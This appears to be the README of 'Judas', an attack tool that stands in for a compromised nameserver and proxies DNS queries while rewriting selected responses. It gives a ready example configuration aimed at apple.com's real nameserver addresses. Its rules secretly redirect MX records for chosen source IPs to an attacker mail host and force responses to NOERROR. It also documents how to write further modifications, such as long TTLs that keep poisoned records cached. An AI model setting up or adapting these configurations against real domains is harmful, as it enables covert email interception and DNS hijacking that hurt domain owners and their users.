A DNS proxy server built to be deployed in place of a compromised nameserver to perform targeted exploitation.

Judas works by proxying all DNS queries to the legitimate nameservers for a domain. The magic comes with Judas’s rule configurations which allow you to change DNS responses depending on source IP or DNS query type. This allows an attacker to configure a malicious nameserver to do things like selectively re-route inbound email coming from specified source IP ranges (via modified MX records), set extremely long TTLs to keep poisoned records cached, and more.

Example Config

The following is an example configuration for Judas for an example scenario where an attacker has compromised/taken over one of Apple’s authoritative nameservers (for apple.com ):

{ "version": "1.0.0", "port": 2248, "dns_query_timeout": 10000, "target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ], "rules": [ { "name": "Secretly redirect all emails coming from 127.0.0.1!", "query_type_matches": [ "MX" ], "ip_range_matches": [ "127.0.0.1/32" ], "modifications": [ { "answer": [ { "name": "apple.com", "type": 15, "class": 1, "ttl": 10, "priority": 10, "exchange": "hacktheplace.localhost" } ] } ] }, { "name": "Make all responses NOERROR even if they've failed.", "query_type_matches": [ "*" ], "modifications": [ { "header": { "rcode": 0 } } ] } ] }

The above configuration value purposes are the following:

version : The configuration file format version (for now is always 1.0.0 ).

: The configuration file format version (for now is always ). port : The port Judas should run on.

: The port Judas should run on. dns_query_timeout : How long to wait in milliseconds before giving up on a reply from the upstream target nameserver.

: How long to wait in milliseconds before giving up on a reply from the upstream target nameserver. target_nameservers : The legit nameservers for your target domain, all DNS queries will be sent here from Judas on behalf of all requesting clients.

: The legit nameservers for your target domain, all DNS queries will be sent here from Judas on behalf of all requesting clients. rules : A list of rules with modifications to the DNS response to apply if matched. name : Name of a given rule. query_type_matches : List of query types to match on such as CNAME , A , etc. A wildcard ( * ) can also be specified to match any query type. ip_range_matches : List of IP ranges to match on. For selectively spoofing responses to a specific range of IPs. modifications : See the “Modifications” section of this README.

: A list of rules with modifications to the DNS response to apply if matched.

Modifications

Judas’s rules come with a modifications specification which is set to a list of varying modifications to make to the DNS response before it is sent back to the client. It is important that you read the node-dns documentation to understand the DNS response structure so you can modify it.

An example DNS response format is the following:

{ header: { id: 25373, qr: 1, opcode: 0, aa: 1, tc: 0, rd: 1, ra: 0, res1: 0, res2: 0, res3: 0, rcode: 5 }, question: [ { name: 'apple.com', type: 2, class: 1 } ], answer: [ { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'nserver2.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'nserver4.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'nserver.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'nserver3.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'nserver5.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'nserver6.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'adns2.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'adns1.apple.com' } ], authority: [], additional: [], edns_options: [], payload: undefined, address: undefined, ...trimmed for brevity...

(For more information on the DNS response data structure see this documentation .)

Writing a modification is very simple, an example rule with modification can be seen below:

{ "name": "Make all responses NOERROR even if they've failed.", "query_type_matches": [ "*" ], "modifications": [ { "header": { "rcode": 0 } } ] }

The above rule matches any query type (due to the wildcard ( * )) and sets the header.rcode value of the DNS response to 0 . Whatever object is set as a modification element is merged into the DNS response – replacing whatever value was originally set.

Another example is the following:

{ "name": "Secretly redirect all emails coming from 127.0.0.1!", "query_type_matches": [ "MX" ], "ip_range_matches": [ "127.0.0.1/32" ], "modifications": [ { "answer": [ { "name": "apple.com", "type": 15, "class": 1, "ttl": 10, "priority": 10, "exchange": "hacktheplace.localhost" } ] } ] }